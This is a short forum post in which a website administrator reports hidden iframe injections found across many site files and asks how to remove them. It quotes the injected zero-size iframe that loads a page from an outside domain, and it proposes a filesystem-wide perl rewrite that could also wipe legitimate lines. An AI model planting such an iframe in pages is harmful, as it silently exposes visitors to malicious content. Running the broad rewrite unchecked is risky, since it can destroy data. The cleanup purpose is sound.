HTML: Iframe infection

Using Linux Centos
some members reported when visiting the site using avast they get a HTML:Iframe infection , so i ran this commend :
find / -type f | xargs grep -l 'google-analyze.org'  2>/dev/null

and noticed sooo many files are infected with this line " <iframe src="http://google-analyze.org/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe> "

whats the best way to solve this and remove the line above from my files?

something like this perhaps?
find / -type f | xargs grep -l '<iframe src="http://google-analyze.org'| xargs perl -pi -e 's/^.*\<iframe.*$/ /g'
the only issue with above i see is if the page has other iframe other than the google-analyze.org.

Thanks,